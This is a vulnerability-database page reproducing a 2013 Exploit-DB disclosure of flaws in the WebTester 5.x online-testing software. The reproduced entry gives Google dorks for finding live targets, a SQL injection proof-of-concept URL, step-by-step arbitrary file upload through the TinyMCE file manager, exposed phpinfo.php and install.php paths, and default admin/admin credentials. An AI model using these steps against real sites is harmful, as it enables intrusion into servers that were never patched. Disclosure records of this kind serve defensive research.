WebTester 5.x Multiple Vulnerabilities

vendor:

WebTester

by:

X-Cisadane

7,5

CVSS

HIGH

SQL Injection, Arbitrary File Upload, PHPInfo() Disclosure, Leftover install.php File

89, 264, 200, 564

CWE

Product Name: WebTester

Affected Version From: ALL

Affected Version To: ALL

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Google Chrome Version 26.0.1410.64 m (Windows XP SP 3 32-Bit English)

2013

WebTester 5.x Multiple Vulnerabilities

WebTester 5.x has a built-in WYSIWYG Editor, that is TinyMCE. The attacker can upload file through the TinyMCE File Manager. It can be found in tiny_mce/plugins/filemanager. The attacker can also exploit SQL Injection, PHPInfo() Disclosure and Leftover install.php File.

Mitigation:

Ensure that the web application is up to date and patched with the latest security updates. Restrict access to the web application and its components. Use a web application firewall to detect and block malicious requests.

Source

Exploit-DB raw data:

========================================================================================== 
WebTester 5.x Multiple Vulnerabilities 
========================================================================================== 

:----------------------------------------------------------------------------------------------------------------------------------------: 
: # Exploit Title : WebTester 5.x Multiple Vulnerabilities  
: # Date : 15 October 2013 
: # Author : X-Cisadane 
: # CMS Developer : http://epplersoft.com/webtester.html 
: # CMS Source Code : http://sourceforge.net/projects/webtesteronline/ 
: # Version : ALL 
: # Category : Web Applications 
: # Vulnerability : SQL Injection, Arbitrary File Upload, PHPInfo() Disclosure, Leftover install.php File
: # Tested On : Google Chrome Version 26.0.1410.64 m (Windows XP SP 3 32-Bit English) 
: # Greetz to : X-Code, Borneo Crew, Depok Cyber, Explore Crew, CodeNesia, Bogor-H, Jakarta Anonymous Club, Jabar Cyber, Winda Utari 
:----------------------------------------------------------------------------------------------------------------------------------------: 

DORKS (How to find the target) : 
================================ 
intext:Copyright © 2003 - 2010 Eppler Software 
inurl:/go.php?testID= 
intitle:WebTester Online Testing 
Or use your own Google Dorks :) 

Proof of Concept  
================  

[ 1 ] SQL Injection 
POC : http://[Site]/[Path]/startTest.php?FirstName=a&LastName=a&TestID=['SQLi] 
 

[ 2 ] Arbitrary File Upload through TinyMCE (plugins/filemanager)  
Webster 5.x has a built-in WYSIWYG Editor, that is TinyMCE. The attacker can upload file through the TinyMCE File Manager. 
It can be found in tiny_mce/plugins/filemanager. 

Poc : http://[Site]/[Path]/tiny_mce/plugins/filemanager/InsertFile/insert_file.php 
Example the target is http://server/ 
Change the url to http://server/tiny_mce/plugins/filemanager/InsertFile/insert_file.php 
Pic #1 : http://i40.tinypic.com/117z390.png 
Then tick : Insert filetype icon, Insert file size & Insert file modification date. 
Click upload and wait until the file sent to the server. 
Pic #2 : http://i39.tinypic.com/2wluaon.png 
Pic #3 : http://i40.tinypic.com/2uh0fir.png 
If the file was successfully uploaded, check in the /test-images/ directory. 


[ 3 ] PHPInfo() Disclosure 
POC : http://[Site]/[Path]/phpinfo.php 


[ 4 ] Leftover install.php File 
POC : http://[Site]/[Path]/install.php


Bonus : Default Username and Password 
Username : admin 
Password : admin 
Admin Control Panel : http://[Site]/[Path]/admin/